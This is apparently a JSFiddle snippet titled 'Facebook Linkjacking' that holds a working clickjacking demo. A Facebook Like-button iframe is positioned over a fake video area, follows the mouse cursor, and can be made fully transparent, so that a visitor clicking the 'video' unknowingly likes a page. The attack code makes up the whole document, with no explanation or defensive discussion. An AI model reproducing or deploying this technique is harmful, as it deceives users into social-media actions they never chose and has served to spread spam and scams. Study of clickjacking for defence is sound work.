JSFiddle - React, Tailwind, and code Playground

Facebook Linkjacking

by bitstarr

HTML

<iframe id="like" src="http://www.facebook.com/plugins/like.php?href=www.test.de&amp;layout=standard&amp;show_faces=true&amp;width=50&amp;action=like&amp;font&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:30px;"></iframe>
<div id="area">Fakevideoarea</div>
<input type="button" value="toggle visibility" id="visToggle" />

CSS

#like {position:absolute;z-index:2}
#area {width:300px; height:300px; background:red;position: relative;text-align:center}

JavaScript

var didMove = false,
    like = $('#like'),
    area = $('#area');


area.mousemove(function(e) {
    var x = e.pageX - this.offsetLeft - 10,
        y = e.pageY - this.offsetTop;
    like.css({
        top: y,
        left: x
    });
});

$('#visToggle').toggle(function() {
    like.css('opacity', 0);
}, function() {
    like.css('opacity', 1);
});